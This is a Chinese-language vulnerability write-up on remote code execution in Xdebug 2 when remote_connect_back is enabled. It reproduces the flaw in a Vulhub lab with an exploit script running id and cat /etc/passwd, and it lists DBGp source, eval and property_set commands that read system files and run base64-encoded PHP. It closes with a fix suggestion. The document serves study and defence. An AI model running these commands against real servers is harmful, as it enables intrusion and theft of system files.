跳转至

Xdebug-RCE

漏洞描述

Xdebug是一个开放源代码的PHP程序调试器(即一个Debug工具),可以用来跟踪,调试和分析PHP程序的运行状况。

如果目标开启了远程调试模式,并设置remote_connect_back = 1

INI
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码

影响版本

  • Xdebug < 3 且满足以下配置
INI
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

Info

在XdebugV3中,xdebug.remote_connect_back和xdebug.remote_enable被替换成了新的配置项

Xdebug Configuration

环境配置

  • Vulhub项目
  • Docker-compose启动

漏洞复现

漏洞存在验证

vulhub自带了一个phpinfo函数,查看xdebug配置

image-20220506093036691

符合漏洞利用条件

使用官方的漏洞复现脚本

Bash
python3 exp.py -t http://{IP}:{PORT}/index.php -c 'shell_exec('id');'

image-20220506093943235

看一下/etc/passwd

Bash
python3 exp.py -t http://{IP}:{PORT}/index.php -c 'shell_exec("cat /etc/passwd");'

image-20220506094052923

漏洞原理

Xdebug调试

Xdebug 是一个 PHP 的调试工具,支持在本地通过源码远程调试服务器上的 PHP 代码。Xdebug 功能强大,最近关于其配置的文章也层出不穷,很早之前就萌生了挖掘 Xdebug 攻击面的想法,终于在今天这个适合划水的日子去做了。

Xdebug 调试 PHP 的主要流程为:

  1. 接收到 debug 的信号,一般为请求参数带有 XDEBUG_SESSION_START
  2. 返回一个 XDEBUG_SESSION 的 Cookie
  3. 服务器作为客户端,根据配置文件中的 xdebug.remote_host 和 xdebug.remote_port 连接服务端(开发者的机器)
  4. 服务端收到请求,向客户端发送指令

Xdebug 支持的协议有 dbgp,具体的规范文档在:https://xdebug.org/docs-dbgp.php。

Xdebug 的配置比较简单,大体步骤为:

  • 下载源码,phpize、编译
  • 配置 php.ini,增加 zend_extension="/path/to/xdebug.so"
  • 在 conf.d 目录下创建 xdebug.ini

攻击面所需要的环境中, xdebug.ini 内容为:

INI
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
xdebug.remote_log =  /tmp/test.log

在中国大内网的环境下,一般情况都会去配置 xdebug.remote_connect_back,而我们的攻击面也是建立在这条配置上的。

逐条解释一下:

  • xdebug.remote_enable,开启远程 debug
  • xdebug.remote_connect_back,开启回连

xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接。

Xdebug 的网络交互也十分简单,客户端回向服务端发送 XML 数据,服务端会向客户端发送类似于 gdb 的 command。每次交互的数据以 \x00 作为 EOL。

DBGp

通过阅读 DBGp 的文档,我们可以注意到一些比较敏感的命令。

    1. Core Commands > source
    1. Extended Commands > eval
    1. Extended Commands > interact - Interactive Shell
    1. Core Commands > property_set

source 可以读取文件内容,eval is the eval。

source

Bash
source -i transaction_id -f fileURI

transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir。

利用方式:

Bash
source -i 1 -f file:///etc/passwd

另外,此处可以用 php://filter 来读取文件,所以也可以用来 SSRF。

eval

Bash
eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):

Bash
eval -i 1 -- c3lzdGVtKCJpZCIpOw==

interact

Xdebug 没有实现这个,放弃吧。

property_set

根据 Xdebug 对于 dbgp 的实现,property_set 是存在一个代码注入的。 具体代码在:https://github.com/xdebug/xdebug/blob/master/xdebug_handler_dbgp.c#L1503-L1505

PHP
    /* Do the eval */
    eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
    res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);

利用方式:

Bash
property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== 
property_get -n $a -i 1 -c 1 -p 0

Info

注意以上配置是参考xdebugV2版本的DBGp配置,请根据攻击环境阅读对应文档

Xdebug DBGp

修复建议

  • 开放远程调试时鉴权或者限制IP访问